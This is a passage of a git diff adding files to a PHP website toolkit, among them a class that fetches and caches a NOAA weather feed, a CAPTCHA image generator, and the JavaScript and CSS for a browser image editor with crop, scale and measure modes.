+       {
+               return $this->$name;
+       }
+
+       //      }}}
+       //      {{{ __set()
+
+
+    /**
+     * Run when writing data to inaccessible members
+     * 
+     * @param string $name  property
+     * @param string $value new value
+     *                       
+     * @return void  
+     * @access public
+     */
+       public function __set($name, $value)
+       {
+               $this->$name = $value;
+       }
+
+       //      }}}
+       //      {{{ addChildren()
+
+       /**
+        * Attaches children to tree object
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return void
+        * @access protected
+        */
+    abstract protected function addChildren();
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Weather.php b/Toolkit/Weather.php
new file mode 100755 (executable)
index 0000000..2c0a1db
--- /dev/null
@@ -0,0 +1,203 @@
+<?php
+/**
+ * Weather.php
+ * 
+ * PHP version 5
+ * 
+ * @category  Weather
+ * @package   Toolkit_Weather
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2008 Gaslight Media
+ * @license   http://www.gaslightmedia.com/license.txt The Gaslight License
+ * @version   CVS: $Id: Weather.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      <>
+ */
+
+/**
+ * Weather class for Gaslight Media
+ * 
+ * You can get the stationId for weather at 
+ * http://www.weather.gov/xml/current_obs/seek.php?state=mi
+ * Uses NOAA for getting the rss feed for weather
+ * 
+ * @category  Toolkit
+ * @package   Toolkit_Weather
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2008 Gaslight Media
+ * @license   http://www.gaslightmedia.com/license.txt The Gaslight License
+ * @link      <>
+ */
+class Toolkit_Weather
+{
+    //{{{ __Class Properties
+
+
+    /**
+     * The xml file used for caching the feed
+     * @var    $_weatherFile string
+     * @access private
+     */
+    private $_weatherFile;
+
+    /**
+     * Station identifier for the feed
+     * @link http://www.weather.gov/xml/current_obs/seek.php?state=mi
+     *
+     * @var    $_stationId string
+     * @access private
+     */
+    private $_stationId = 'KPLN';    
+
+
+    /**
+     * XMLReader object for parsing feed
+     * @var    $_xml object 
+     * @access private
+     */
+    private $_xml;
+
+    /**
+     * Description for private
+     * @var    $_assoc array  
+     * @access private
+     */
+    private $_assoc;
+
+    /**
+     * Storage array for the current conditions
+     * @var     $currendCond array 
+     * @access public
+     */
+    public $currentCond;
+
+    /**
+     * Boolean if the file exists or not
+     * @var    $_cacheFileExist boolean
+     * @access private
+     */
+    private $_cacheFileExist = false;
+     
+    //}}}
+    //{{{ __construct()
+
+    /**
+     * Class Constructer
+     * 
+     * @return void  
+     * @access public
+     */
+    function __construct()
+    {
+        $currentErrorMask = ini_get('error_reporting');
+        error_reporting(0);
+        $this->_weatherFile = BASE.'weather-feed.xml';
+        $this->interval     = 25; // interval in minutes for page cache
+        $this->fetchWeather();
+        $this->setCurrentCond();
+        error_reporting($currentErrorMask);
+    }
+    
+    //}}}
+    //{{{ fetchWeather()
+
+
+    /**
+     * fetchWeather
+     * 
+     * THis will use curl to grab the weather feed using
+     * the $_weatherFile as destination
+     * and the $_stationId for the xml file name
+     * 
+     * @return void  
+     * @access public
+     */
+    function fetchWeather()
+    {
+        if (is_file($this->_weatherFile)) {
+            $time2hoursago = mktime(
+                date('H'),
+                date('i') - $this->interval, 
+                date('s'),
+                date('m'),
+                date('d'),
+                date('Y')
+            );
+            $file_time     = filemtime($this->_weatherFile);
+            if ($file_time < $time2hoursago) {
+                $this->grabFeedUrl();
+            }
+            if (is_file($this->_weatherFile)) {
+                $this->_cacheFileExist = true;
+            }
+        } else {
+            $this->grabFeedUrl();
+            if (is_file($this->_weatherFile)) {
+                $this->_cacheFileExist = true;
+            }
+        }
+    }
+    
+    //}}}
+    // {{{ grabFeedUrl()
+
+
+    /**
+     * grabFeedUrl 
+     * 
+     * @return void
+     * @access public
+     */
+    function grabFeedUrl()
+    {
+        // the NOAA xml feed url to be used 
+        // from the _stationId
+        $feed_url = 'http://www.weather.gov/xml/current_obs/'
+            .$this->_stationId.'.xml';
+        // Curl Options used for connection
+        $curlOptions = array(
+            CURLOPT_URL            => $feed_url,
+            CURLOPT_HEADER         => 0,
+            CURLOPT_RETURNTRANSFER => 1,
+            CURLOPT_TIMEOUT        => 15,
+            CURLOPT_CONNECTTIMEOUT => 5,
+            CURLOPT_FAILONERROR    => 1,
+            );
+        // start curl object
+        $ch = curl_init();
+        // set options
+        curl_setopt_array($ch, $curlOptions);
+        // assign the response to a string variable
+        $response = curl_exec($ch);
+        // grab the connection info to check for http_code = 200
+        $info = curl_getinfo($ch);
+        curl_close($ch);
+        if ($info['http_code'] == '200') {
+            file_put_contents($this->_weatherFile, $response);
+        } else {
+            @touch($this->_weatherFile);
+        }
+    }
+    
+
+    // }}}
+    //{{{ setCurrentCond()
+
+    /**
+     * Set currentCond
+     * 
+     * Set the currentCond clas var up with variables from the xml file
+     * from the weather feed 
+     * 
+     * @return void  
+     * @access public
+     */
+    function setCurrentCond()
+    {
+        $xml = new XML_Unserializer();
+        $xml->unserialize($this->_weatherFile, true);
+        $this->currentCond = $xml->getUnserializedData();
+    }
+    
+    //}}}
+}
+?>
diff --git a/Toolkit/qfcaptcha.php b/Toolkit/qfcaptcha.php
new file mode 100755 (executable)
index 0000000..0a44b41
--- /dev/null
@@ -0,0 +1,39 @@
+<?php
+/**
+ * HTML_QuickForm_CAPTCHA example - Image generator
+ *
+ * PHP versions 4 and 5
+ *
+ * @category   HTML
+ * @package    HTML_QuickForm_CAPTCHA
+ * @subpackage Examples
+ * @author     Philippe Jausions <Philippe.Jausions@11abacus.com>
+ * @copyright  2006-2008 by Philippe Jausions / 11abacus
+ * @license    http://www.opensource.org/licenses/bsd-license.php New BSD
+ * @version    CVS: $Id: qfcaptcha.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @filesource
+ * @link       http://pear.php.net/package/HTML_QuickForm_CAPTCHA
+ * @see        qfcaptcha_form_image.php
+ * @see        qfcaptcha_form_random.php
+ */
+
+// Require the class before opening the session
+// so the instance unserialize properly
+require_once '../setup.phtml';
+require_once 'Text/CAPTCHA.php';
+require_once 'Text/CAPTCHA/Driver/Image.php';
+
+HTTP_Session2::useCookies(false);
+HTTP_Session2::start();
+
+header('Content-Type: image/jpeg');
+
+$sessionVar = (empty($_REQUEST['var']))
+              ? '_HTML_QuickForm_CAPTCHA'
+              : $_REQUEST['var'];
+
+// Force a new CAPTCHA for each one displayed
+$_SESSION[$sessionVar]->setPhrase();
+
+echo $_SESSION[$sessionVar]->getCAPTCHAAsJPEG();
+?> 
diff --git a/admin/.htaccess b/admin/.htaccess
new file mode 100644 (file)
index 0000000..38dcd05
--- /dev/null
@@ -0,0 +1 @@
+RewriteEngine Off
diff --git a/admin/Contact/assets/EditorContent.js b/admin/Contact/assets/EditorContent.js
new file mode 100644 (file)
index 0000000..97788ad
--- /dev/null
@@ -0,0 +1,744 @@
+/***********************************************************************
+** Title.........:  Online Image Editor Interface
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  EditorContents.js
+** Last changed..:  31 Mar 2004 
+** Notes.........:  Handles most of the interface routines for the ImageEditor.
+*
+* Added:  29 Mar 2004  - Constrainted resizing/scaling
+**/ 
+
+
+function MM_findObj(n, d) { //v4.01
+  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
+    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
+  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
+  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
+  if(!x && d.getElementById) x=d.getElementById(n); return x;
+}
+
+var pic_x, pic_y;
+function P7_Snap() { //v2.62 by PVII
+  var x,y,ox,bx,oy,p,tx,a,b,k,d,da,e,el,args=P7_Snap.arguments;a=parseInt(a);
+  for (k=0; k<(args.length-3); k+=4)
+   if ((g=MM_findObj(args[k]))!=null) {
+    el=eval(MM_findObj(args[k+1]));
+    a=parseInt(args[k+2]);b=parseInt(args[k+3]);
+    x=0;y=0;ox=0;oy=0;p="";tx=1;da="document.all['"+args[k]+"']";
+    if(document.getElementById) {
+     d="document.getElementsByName('"+args[k]+"')[0]";
+     if(!eval(d)) {d="document.getElementById('"+args[k]+"')";if(!eval(d)) {d=da;}}
+    }else if(document.all) {d=da;} 
+    if (document.all || document.getElementById) {
+     while (tx==1) {p+=".offsetParent";
+      if(eval(d+p)) {x+=parseInt(eval(d+p+".offsetLeft"));y+=parseInt(eval(d+p+".offsetTop"));
+      }else{tx=0;}}
+     ox=parseInt(g.offsetLeft);oy=parseInt(g.offsetTop);var tw=x+ox+y+oy;
+     if(tw==0 || (navigator.appVersion.indexOf("MSIE 4")>-1 && navigator.appVersion.indexOf("Mac")>-1)) {
+      ox=0;oy=0;if(g.style.left){x=parseInt(g.style.left);y=parseInt(g.style.top);
+      }else{var w1=parseInt(el.style.width);bx=(a<0)?-5-w1:-10;
+      a=(Math.abs(a)<1000)?0:a;b=(Math.abs(b)<1000)?0:b;
+      //alert(event.clientX);
+         if (event == null) x=document.body.scrollLeft + bx;
+               else x=document.body.scrollLeft + event.clientX + bx;
+         if (event == null) y=document.body.scrollTop;
+               else y=document.body.scrollTop + event.clientY;}}
+   }else if (document.layers) {x=g.x;y=g.y;var q0=document.layers,dd="";
+    for(var s=0;s<q0.length;s++) {dd='document.'+q0[s].name;
+     if(eval(dd+'.document.'+args[k])) {x+=eval(dd+'.left');y+=eval(dd+'.top');break;}}}
+   if(el) {e=(document.layers)?el:el.style;
+   var xx=parseInt(x+ox+a),yy=parseInt(y+oy+b);
+   //alert(xx+":"+yy);
+   if(navigator.appName=="Netscape" && parseInt(navigator.appVersion)>4){xx+="px";yy+="px";}
+   if(navigator.appVersion.indexOf("MSIE 5")>-1 && navigator.appVersion.indexOf("Mac")>-1){
+    xx+=parseInt(document.body.leftMargin);yy+=parseInt(document.body.topMargin);
+    xx+="px";yy+="px";}e.left=xx;e.top=yy;}
+    pic_x = parseInt(xx); pic_y = parseInt(yy);
+    //alert(xx+":"+yy);
+    }
+}
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+var dragapproved=false
+var z,x,y,status, ant, canvas, content, pic_width, pic_height, image, resizeHandle, oa_w, oa_h, oa_x, oa_y, mx2, my2;
+
+
+function init_resize() 
+{
+    if(mode == "scale") 
+    {
+        P7_Snap('theImage','ant',0,0);
+
+        if (canvas == null)
+            canvas = MM_findObj("imgCanvas");
+
+        if (pic_width == null || pic_height == null)
+        {
+            image = MM_findObj("theImage");
+            pic_width = image.width;
+            pic_height = image.height;
+        }
+        
+        if (ant == null)
+            ant = MM_findObj("ant");
+
+        ant.style.left = pic_x; ant.style.top = pic_y;
+        ant.style.width = pic_width; ant.style.height = pic_height;
+        ant.style.visibility = "visible";
+
+        drawBoundHandle();
+        jg_doc.paint();
+    }
+}
+
+initEditor = function () 
+{
+    init_crop();
+    init_resize();
+    var markerImg = MM_findObj('markerImg', window.top.document);
+
+    if (markerImg.src.indexOf("img/t_white.gif")>0)
+        toggleMarker() ;
+}
+
+function init_crop() 
+{
+    //if(mode == "crop") {
+        P7_Snap('theImage','ant',0,0);
+    //}
+}
+
+function setMode(newMode) 
+{
+    mode = newMode;
+    reset();
+}
+
+function reset() 
+{
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    ant.style.visibility = "hidden";
+    ant.style.left = 0;
+    ant.style.top = 0;
+    ant.style.width = 0;
+    ant.style.height = 0;
+
+    mx2 = null;
+    my2 = null;
+
+    jg_doc.clear();
+    if(mode != 'measure')
+        showStatus();   
+
+    if(mode == "scale") {
+        init_resize();
+    }
+
+    P7_Snap('theImage','ant',0,0);
+}
+
+function toggleMarker() 
+{
+    //alert("Toggle");
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    if(ant.className=="selection")
+        ant.className="selectionWhite";
+    else
+        ant.className="selection";
+    
+    if (jg_doc.getColor() == "#000000")
+        jg_doc.setColor("#FFFFFF");
+    else
+        jg_doc.setColor("#000000");
+    
+    drawBoundHandle
+    jg_doc.paint();
+}
+
+
+function move(e)
+{
+    if (dragapproved)
+    {
+        //z.style.left=ns6? temp1+e.clientX-x: temp1+event.clientX-x
+        //z.style.top=ns6? temp2+e.clientY-y : temp2+event.clientY-y
+        var w = ns6? temp1+e.clientX - x : temp1+event.clientX - x;
+        var h = ns6? temp2+e.clientY - y : temp2+event.clientY - y;
+
+        //alert(canvas.style.left);
+        /*if (status !=null)
+        {
+            status.innerHTML  = "x:"+x+" y:"+y+" w:"+w+" h:"+h+" can_h:"+pic_height;
+            status.innerHTML += " can_w:"+pic_width+" px:"+pic_x+" py:"+pic_y;
+            status.innerHTML += " pix:"+image.style.left+" piy:"+image.style.top+" obj:"+obj.id;
+        }*/
+
+        /*jg_doc.clear();
+        jg_doc.fillRectPattern(0,0,Math.abs(w),Math.abs(h),pattern);
+        jg_doc.paint();
+*/
+        if (ant != null)
+        {
+            if (w >= 0)
+            {
+                ant.style.left = x;
+                ant.style.width = w;
+            }
+            else
+            {
+                ant.style.left = x+w;
+                ant.style.width = -1*w;
+            }
+
+            if (h >= 0)
+            {
+                ant.style.top = y;
+                ant.style.height = h;
+            }
+            else
+            {
+                ant.style.top = y+h;
+                ant.style.height = -1*h
+            }
+        }
+        
+        showStatus();
+        return false
+    }
+}
+
+function moveContent(e) 
+{
+    if (dragapproved)
+    {
+
+        var dx =ns6? oa_x + e.clientX-x: oa_x + event.clientX-x
+        var dy =ns6? oa_y + e.clientY-y : oa_y + event.clientY-y
+
+
+        /*if (status !=null)
+        {
+            status.innerHTML  = "x:"+x+" y:"+y+" dx:"+dx+" dy:"+dy;
+        }*/
+
+        ant.style.left = dx;
+        ant.style.top = dy;
+
+        showStatus();
+
+        return false;
+    }
+}
+
+//Code add for constraints by Frédéric Klee <fklee@isuisse.com>
+function moveHandle(e) 
+{
+    if (dragapproved)
+    {
+        var w = ns6? e.clientX - x : event.clientX - x;
+        var h = ns6? e.clientY - y : event.clientY - y;
+        
+               var constrained = MM_findObj('constProp', window.top.document);
+        var orginal_height = document.theImage.height ;
+        var orginal_width = document.theImage.width ;
+        rapp = orginal_width/orginal_height ;
+        rapp_inv = orginal_height / orginal_width ;
+
+        switch(resizeHandle) 
+        {
+
+            case "s-resize":
+                if (oa_h + h >= 0) 
+                               {
+                    ant.style.height = oa_h + h;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.width = rapp * (oa_h + h) ;
+                        ant.style.left = oa_x - rapp * h/2;
+                                       }
+
+                               }
+                break;
+            case "e-resize":
+                if(oa_w + w >= 0)
+                               {
+                    ant.style.width = oa_w + w;
+                                       if(constrained.checked) 
+                                       {
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                        ant.style.top = oa_y - rapp_inv * w/2;
+                    }
+
+                               }
+                break;
+            case "n-resize":
+                if (oa_h - h >= 0)
+                {
+                    ant.style.top = oa_y + h;
+                    ant.style.height = oa_h - h;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.width = rapp * (oa_h - h) ;
+                        ant.style.left = oa_x + rapp * h/2;
+                    }
+
+                }
+                break;
+            case "w-resize":
+                if(oa_w - w >= 0) 
+                               {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                                       if(constrained.checked) 
+                                       {
+                                               ant.style.height = rapp_inv * (oa_w - w) ;
+                                               ant.style.top = oa_y + rapp_inv * w/2;
+                    }
+
+                }break;
+            case "nw-resize":
+                if(oa_h - h >= 0 && oa_w - w >= 0) {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                    ant.style.top = oa_y + h;
+                    if(constrained.checked) 
+                        ant.style.height = rapp_inv * (oa_w - w) ;
+                    else
+                        ant.style.height = oa_h - h;
+                }
+            break;
+            case "ne-resize":
+                if (oa_h - h >= 0 && oa_w + w >= 0){
+                    ant.style.top = oa_y + h;
+                                       ant.style.width = oa_w + w;
+                                       if(constrained.checked) 
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                    else
+                        ant.style.height = oa_h - h;
+                }
+                break;
+            case "se-resize":
+                if (oa_h + h >= 0 && oa_w + w >= 0) 
+                {
+                    ant.style.width = oa_w + w;
+                    if(constrained.checked)
+                        ant.style.height = rapp_inv * (oa_w + w) ;
+                    else
+                        ant.style.height = oa_h + h;
+                }
+                break;
+            case "sw-resize":
+                if (oa_h + h >= 0 && oa_w - w >= 0)
+                {
+                    ant.style.left = oa_x + w;
+                    ant.style.width = oa_w - w;
+                                       if(constrained.checked)
+                        ant.style.height = rapp_inv * (oa_w - w) ;
+                    else
+                       ant.style.height = oa_h + h;
+                               }
+        }
+        
+        showStatus();
+        return false;
+        
+    }
+}
+
+function drags(e)
+{
+    if (!ie&&!ns6)
+        return
+    
+    var firedobj=ns6? e.target : event.srcElement
+    var topelement=ns6? "HTML" : "BODY"
+
+    while (firedobj.tagName!=topelement&&
+            !(firedobj.className=="crop" 
+                || firedobj.className=="handleBox" 
+                || firedobj.className=="selection" || firedobj.className=="selectionWhite"))
+    {
+        firedobj=ns6? firedobj.parentNode : firedobj.parentElement
+    }
+
+    if(firedobj.className=="handleBox") {
+        
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = 0;
+                content.height = 0;
+            }
+            //alert(content.width+":"+content.height);
+        }
+        resizeHandle = firedobj.id;
+        
+        /*if(status!=null) {
+            status.innerHTML  = " obj:"+firedobj.id;
+        }*/
+
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+
+        oa_w = parseInt(ant.style.width);
+        oa_h = parseInt(ant.style.height);
+        oa_x = parseInt(ant.style.left);
+        oa_y = parseInt(ant.style.top);
+
+        dragapproved=true
+        document.onmousemove=moveHandle;
+        return false;
+    }
+    else
+    if((firedobj.className == "selection" || firedobj.className=="selectionWhite")&& mode == "crop") {
+        
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+        
+        oa_x = parseInt(ant.style.left);
+        oa_y = parseInt(ant.style.top);
+
+        dragapproved=true
+        document.onmousemove=moveContent;
+        return false;
+    }
+    else
+    if (firedobj.className=="crop" && mode == "crop")
+    {
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = 0;
+                content.height = 0;
+            }
+            //alert(content.width+":"+content.height);
+        }
+
+        if (status == null)
+            status = MM_findObj("status");
+
+        if (ant == null)
+            ant = MM_findObj("ant");
+
+        if (canvas == null)
+            canvas = MM_findObj("imgCanvas");
+        if(content == null) {
+            content = MM_findObj("cropContent");
+        }
+
+        if (pic_width == null || pic_height == null)
+        {
+            image = MM_findObj("theImage");
+            pic_width = image.width;
+            pic_height = image.height;
+        }
+
+        ant.style.visibility = "visible";
+
+        obj = firedobj;
+        dragapproved=true
+        z=firedobj
+        temp1=parseInt(z.style.left+0)
+        temp2=parseInt(z.style.top+0)
+        x=ns6? e.clientX: event.clientX
+        y=ns6? e.clientY: event.clientY
+        document.onmousemove=move
+        return false
+    }
+        else if(firedobj.className=="crop" && mode == "measure") {
+
+            if (ant == null)
+                ant = MM_findObj("ant");
+
+            if (canvas == null)
+                canvas = MM_findObj("imgCanvas");
+
+            x=ns6? e.clientX: event.clientX
+            y=ns6? e.clientY: event.clientY
+
+                //jg_doc.draw
+            dragapproved=true
+            document.onmousemove=measure
+
+            return false
+        }
+}
+
+function measure(e) 
+{
+    if (dragapproved)
+    {
+        mx2 = ns6? e.clientX : event.clientX;
+        my2 = ns6? e.clientY : event.clientY;
+        
+        jg_doc.clear();
+        jg_doc.setStroke(Stroke.DOTTED); 
+        jg_doc.drawLine(x,y,mx2,my2);
+        jg_doc.paint();
+        showStatus();
+        return false;
+    }
+}
+
+function setMarker(nx,ny,nw,nh) 
+{
+    if (ant == null)
+        ant = MM_findObj("ant");
+
+    if (canvas == null)
+        canvas = MM_findObj("imgCanvas");
+    if(content == null) {
+        content = MM_findObj("cropContent");
+    }
+
+    if (pic_width == null || pic_height == null)
+    {
+        image = MM_findObj("theImage");
+        pic_width = image.width;
+        pic_height = image.height;
+    }
+
+    ant.style.visibility = "visible";
+
+    nx = pic_x + nx;
+    ny = pic_y + ny;
+
+    if (nw >= 0)
+    {
+        ant.style.left = nx;
+        ant.style.width = nw;
+    }
+    else
+    {
+        ant.style.left = nx+nw;
+        ant.style.width = -1*nw;
+    }
+
+    if (nh >= 0)
+    {
+        ant.style.top = ny;
+        ant.style.height = nh;
+    }
+    else
+    {
+        ant.style.top = ny+nh;
+        ant.style.height = -1*nh
+    }
+
+    
+}
+
+function max(x,y) 
+{
+    if(y > x)
+        return x;
+    else 
+        return y;
+}
+
+function drawBoundHandle() 
+{
+    if(ant == null || ant.style == null) 
+        return false;
+
+    var ah = parseInt(ant.style.height);
+    var aw = parseInt(ant.style.width);
+    var ax = parseInt(ant.style.left);
+    var ay = parseInt(ant.style.top);
+
+    jg_doc.drawHandle(ax-15,ay-15,30,30,"nw-resize"); //upper left
+    jg_doc.drawHandle(ax-15,ay+ah-15,30,30,"sw-resize"); //lower left
+    jg_doc.drawHandle(ax+aw-15,ay-15,30,30,"ne-resize"); //upper right
+    jg_doc.drawHandle(ax+aw-15,ay+ah-15,30,30,"se-resize"); //lower right
+
+    jg_doc.drawHandle(ax+max(15,aw/10),ay-8,aw-2*max(15,aw/10),8,"n-resize"); //top middle
+    jg_doc.drawHandle(ax+max(15,aw/10),ay+ah,aw-2*max(15,aw/10),8,"s-resize"); //bottom middle
+    jg_doc.drawHandle(ax-8, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"w-resize"); //left middle
+    jg_doc.drawHandle(ax+aw, ay+max(15,ah/10),8,ah-2*max(15,ah/10),"e-resize"); //right middle
+
+
+
+    jg_doc.drawHandleBox(ax-4,ay-4,8,8,"nw-resize"); //upper left
+    jg_doc.drawHandleBox(ax-4,ay+ah-4,8,8,"sw-resize"); //lower left
+    jg_doc.drawHandleBox(ax+aw-4,ay-4,8,8,"ne-resize"); //upper right
+    jg_doc.drawHandleBox(ax+aw-4,ay+ah-4,8,8,"se-resize"); //lower right
+
+    jg_doc.drawHandleBox(ax+aw/2-4,ay-4,8,8,"n-resize"); //top middle
+    jg_doc.drawHandleBox(ax+aw/2-4,ay+ah-4,8,8,"s-resize"); //bottom middle
+    jg_doc.drawHandleBox(ax-4, ay+ah/2-4,8,8,"w-resize"); //left middle
+    jg_doc.drawHandleBox(ax+aw-4, ay+ah/2-4,8,8,"e-resize"); //right middle
+
+    //jg_doc.paint();
+}
+
+function showStatus() 
+{
+    if(ant == null || ant.style == null) {
+        return false;
+    }
+
+    if(mode == "measure") {
+        //alert(pic_x);
+        mx1 = x - pic_x;
+        my1 = y - pic_y;
+
+        mw = mx2 - x;
+        mh = my2 - y;
+
+        md = parseInt(Math.sqrt(mw*mw + mh*mh)*100)/100;
+
+        ma = (Math.atan(-1*mh/mw)/Math.PI)*180;
+        if(mw < 0 && mh < 0)
+            ma = ma+180;
+
+        if (mw <0 && mh >0)
+            ma = ma - 180;
+
+        ma = parseInt(ma*100)/100;
+
+        if (m_sx != null && !isNaN(mx1))
+            m_sx.value = mx1+"px";
+        if (m_sy != null && !isNaN(my1))
+            m_sy.value = my1+"px";
+        if(m_w != null && !isNaN(mw))
+            m_w.value = mw + "px";
+        if(m_h != null && !isNaN(mh))
+            m_h.value = mh + "px";
+
+        if(m_d != null && !isNaN(md))
+            m_d.value = md + "px";
+        if(m_a != null && !isNaN(ma))
+            m_a.value = ma + "";
+
+        if(r_ra != null &&!isNaN(ma))
+            r_ra.value = ma;            
+
+        //alert("mx1:"+mx1+" my1"+my1);
+        return false;
+    }
+
+    var ah = parseInt(ant.style.height);
+    var aw = parseInt(ant.style.width);
+    var ax = parseInt(ant.style.left);
+    var ay = parseInt(ant.style.top);
+
+    var cx = ax-pic_x<0?0:ax-pic_x;
+    var cy = ay-pic_y<0?0:ay-pic_y;
+    cx = cx>pic_width?pic_width:cx;
+    cy = cy>pic_height?pic_height:cy;
+    
+    var cw = ax-pic_x>0?aw:aw-(pic_x-ax);
+    var ch = ay-pic_y>0?ah:ah-(pic_y-ay);
+
+    ch = ay+ah<pic_y+pic_height?ch:ch-(ay+ah-pic_y-pic_height);
+    cw = ax+aw<pic_x+pic_width?cw:cw-(ax+aw-pic_x-pic_width);
+
+    ch = ch<0?0:ch; cw = cw<0?0:cw;
+    
+    if (ant.style.visibility == "hidden")
+    {
+        cx = ""; cy = ""; cw=""; ch="";
+    }
+
+    if(mode == 'crop') {
+        if(t_cx != null)
+            t_cx.value = cx;
+        if (t_cy != null)   
+            t_cy.value = cy;
+        if(t_cw != null)
+            t_cw.value = cw;
+        if (t_ch != null)   
+            t_ch.value = ch;
+    }
+    else if(mode == 'scale') {
+
+        var sw = aw, sh = ah;
+
+        if (s_sw.value.indexOf('%')>0 && s_sh.value.indexOf('%')>0)
+        {   
+            sw = cw/pic_width;
+            sh = ch/pic_height;
+        }
+        if (s_sw != null)
+            s_sw.value = sw;
+        if (s_sh != null)
+            s_sh.value = sh;
+    }
+
+}
+
+function dragStopped()
+{
+    dragapproved=false;
+
+    if(ant == null || ant.style == null) {
+        return false;
+    }
+
+    if(mode == "measure") {
+        jg_doc.drawLine(x-4,y,x+4,y);
+        jg_doc.drawLine(x,y-4,x,y+4);
+        jg_doc.drawLine(mx2-4,my2,mx2+4,my2);
+        jg_doc.drawLine(mx2,my2-4,mx2,my2+4);
+
+        jg_doc.paint();
+        showStatus();
+        return false;
+    }
+        var ah = parseInt(ant.style.height);
+        var aw = parseInt(ant.style.width);
+        var ax = parseInt(ant.style.left);
+        var ay = parseInt(ant.style.top);
+        jg_doc.clear();
+        
+        if(content != null) {
+            if(content.width != null && content.height != null) {
+                content.width = aw-1;
+                content.height = ah-1;
+            }
+            //alert(content.width+":"+content.height);
+        }
+        if(mode == "crop") {
+            //alert(pic_y);
+            jg_doc.fillRectPattern(pic_x,pic_y,pic_width,ay-pic_y,pattern);
+            
+            var h1 = ah;
+            var y1 = ay;
+            if (ah+ay >= pic_height+pic_y)
+                h1 = pic_height+pic_y-ay;
+            else if (ay <= pic_y)
+            {
+                h1 = ay+ah-pic_y;
+                y1 = pic_y;
+            }
+            jg_doc.fillRectPattern(pic_x,y1,ax-pic_x,h1,pattern);
+            jg_doc.fillRectPattern(ax+aw,y1,pic_x+pic_width-ax-aw,h1,pattern);
+            jg_doc.fillRectPattern(pic_x,ay+ah,pic_width,pic_height+pic_y-ay-ah,pattern);
+        }
+        else if(mode == "scale") {
+            //alert("Resizing: iw:"+image.width+" nw:"+aw);
+            document.theImage.height = ah;
+            document.theImage.width = aw;
+            document.theImage.style.height = ah+" px";
+            document.theImage.style.width = aw+" px";
+
+            P7_Snap('theImage','ant',0,0);
+
+            //alert("After Resizing: iw:"+image.width+" nw:"+aw);
+        }
+
+        drawBoundHandle();
+        jg_doc.paint();
+    
+        showStatus();
+    return false;
+}
+
+document.onmousedown=drags
+document.onmouseup=dragStopped;
+
diff --git a/admin/Contact/assets/ImageEditor.css b/admin/Contact/assets/ImageEditor.css
new file mode 100644 (file)
index 0000000..7cefe46
--- /dev/null
@@ -0,0 +1,76 @@
+.icons {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    border: 1px solid #EEEEFF;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+
+body, td, p {
+    font: 11px Tahoma,Verdana,sans-serif;
+}
+.iconsOver {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    background-color: #F9F9FF;
+    border: 1px solid #666699;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.topBar {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+}
+.iconsSel {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-align: center;
+    text-decoration: none;
+    border: 1px solid #666699;
+    -Moz-Border-Radius: 6px 6px 6px 6px;
+}
+.iconText {
+    font: 11px Tahoma,Verdana,sans-serif;
+    color: #666699;
+    text-decoration: none;
+    text-align: center;
+}
+.measureStats{
+    width: 50px;
+}
+
+#slidercasing {
+    /*border:1px solid #CCCCCC;
+    background-color:#FFFFFF;*/
+    width:100px;
+    height:5px;
+    position:relative;
+    z-index:4;
+    padding:10px;
+}
+
+
+#slidertrack {
+    position:relative;
+    border:1px solid #CCCCCC;
+    background-color:#FFFFCC;
+    z-index:5;
+    height:5px;
+}
+
+
+#sliderbar {
+    position:absolute;
+    z-index:6;
+    border:1px solid #CCCCCC;
+    background-color:#DDDDDD;
+    width:15px;     
+    padding:0px;
+    height:20px; 
+    cursor: pointer;
+    top:2px;
+}
+
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
diff --git a/admin/Contact/assets/dialog.js b/admin/Contact/assets/dialog.js
new file mode 100644 (file)
index 0000000..7ae4e12
--- /dev/null
@@ -0,0 +1,111 @@
+// Dialog v3.0 - Copyright (c) 2003-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: dialog.js,v 1.1.1.1 2009/09/17 20:09:03 matrix Exp $
+
+// Though "Dialog" looks like an object, it isn't really an object.  Instead
+// it's just namespace for protecting global symbols.
+
+function Dialog(url, action, init) {
+       if (typeof init == "undefined") {
+               init = window;  // pass this window object by default
+       }
+       Dialog._geckoOpenModal(url, action, init);
+};
+
+Dialog._parentEvent = function(ev) {
